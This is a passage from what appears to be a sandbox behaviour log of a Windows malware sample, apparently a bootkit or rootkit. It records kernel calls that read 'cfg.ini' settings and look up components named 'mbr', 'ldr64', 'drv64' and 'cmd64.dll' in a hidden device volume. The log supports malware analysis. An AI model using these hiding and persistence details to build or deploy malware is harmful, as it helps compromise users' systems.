(_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfecb0 [0128.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.059] KeLeaveCriticalRegion () [0128.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.059] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.059] KeEnterCriticalRegion () [0128.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.059] KeLeaveCriticalRegion () [0128.059] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.059] KeEnterCriticalRegion () [0128.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.059] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.060] IdePortDispatch () returned 0x103 [0128.060] KeWaitForMutexObject () returned 0x0 [0128.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.060] KeLeaveCriticalRegion () [0128.060] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.060] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.060] KeEnterCriticalRegion () [0128.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb2000 [0128.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.060] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.060] IdePortDispatch () returned 0x103 [0128.060] KeWaitForMutexObject () returned 0x0 [0128.061] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.061] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.061] IdePortDispatch () returned 0x103 [0128.061] KeWaitForMutexObject () returned 0x0 [0128.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.061] KeLeaveCriticalRegion () [0128.061] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.062] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.062] KeEnterCriticalRegion () [0128.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] KeLeaveCriticalRegion () [0128.062] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.062] KeEnterCriticalRegion () [0128.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.062] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] KeLeaveCriticalRegion () [0128.062] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.062] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.062] KeEnterCriticalRegion () [0128.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] ExFreePoolWithTag (P=0xfffffa8003bfecb0, Tag=0x0) [0128.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] KeLeaveCriticalRegion () [0128.062] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.062] ReleaseMutex (hMutex=0xf0) returned 1 [0128.062] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.062] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.062] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.062] KeEnterCriticalRegion () [0128.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.062] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.063] IdePortDispatch () returned 0x103 [0128.063] KeWaitForMutexObject () returned 0x0 [0128.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.063] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.063] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.063] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.063] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.063] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0128.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.063] KeLeaveCriticalRegion () [0128.063] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.063] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.063] KeEnterCriticalRegion () [0128.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.063] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.063] KeLeaveCriticalRegion () [0128.063] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.063] KeEnterCriticalRegion () [0128.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.063] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.063] IdePortDispatch () returned 0x103 [0128.064] KeWaitForMutexObject () returned 0x0 [0128.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.064] KeLeaveCriticalRegion () [0128.064] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.064] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.064] KeEnterCriticalRegion () [0128.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.064] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb3000 [0128.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.064] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.064] IdePortDispatch () returned 0x103 [0128.064] KeWaitForMutexObject () returned 0x0 [0128.064] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.064] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.064] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.064] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.064] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.065] IdePortDispatch () returned 0x103 [0128.065] KeWaitForMutexObject () returned 0x0 [0128.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.065] KeLeaveCriticalRegion () [0128.065] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.065] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.065] KeEnterCriticalRegion () [0128.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] KeLeaveCriticalRegion () [0128.066] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.066] KeEnterCriticalRegion () [0128.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.066] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] KeLeaveCriticalRegion () [0128.066] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.066] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.066] KeEnterCriticalRegion () [0128.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0128.066] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] KeLeaveCriticalRegion () [0128.066] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.066] ReleaseMutex (hMutex=0xf0) returned 1 [0128.066] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.066] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.066] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.066] KeEnterCriticalRegion () [0128.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.066] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.066] IdePortDispatch () returned 0x103 [0128.067] KeWaitForMutexObject () returned 0x0 [0128.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.067] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.067] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.067] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.067] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.067] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd9c0 [0128.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.067] KeLeaveCriticalRegion () [0128.067] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.067] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.067] KeEnterCriticalRegion () [0128.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.067] KeLeaveCriticalRegion () [0128.067] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.067] KeEnterCriticalRegion () [0128.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.067] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.067] IdePortDispatch () returned 0x103 [0128.068] KeWaitForMutexObject () returned 0x0 [0128.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.068] KeLeaveCriticalRegion () [0128.068] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.068] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.068] KeEnterCriticalRegion () [0128.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.068] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0128.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.068] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.068] IdePortDispatch () returned 0x103 [0128.069] KeWaitForMutexObject () returned 0x0 [0128.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.069] IdePortDispatch () returned 0x103 [0128.069] KeWaitForMutexObject () returned 0x0 [0128.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.069] KeLeaveCriticalRegion () [0128.069] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.070] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.070] KeEnterCriticalRegion () [0128.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] KeLeaveCriticalRegion () [0128.070] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.070] KeEnterCriticalRegion () [0128.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.070] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] KeLeaveCriticalRegion () [0128.070] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.070] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.070] KeEnterCriticalRegion () [0128.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] ExFreePoolWithTag (P=0xfffffa8003bfd9c0, Tag=0x0) [0128.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.070] KeLeaveCriticalRegion () [0128.070] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.071] ReleaseMutex (hMutex=0xf0) returned 1 [0128.071] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.071] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.071] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.071] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.071] KeEnterCriticalRegion () [0128.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.071] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.071] IdePortDispatch () returned 0x103 [0128.071] KeWaitForMutexObject () returned 0x0 [0128.071] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.071] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.071] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.071] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.071] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.071] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.071] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.071] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.071] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.071] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.071] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.071] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.071] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.071] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.072] KeLeaveCriticalRegion () [0128.072] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.072] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.072] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.072] KeEnterCriticalRegion () [0128.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.072] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.072] IdePortDispatch () returned 0x103 [0128.072] KeWaitForMutexObject () returned 0x0 [0128.072] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.072] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 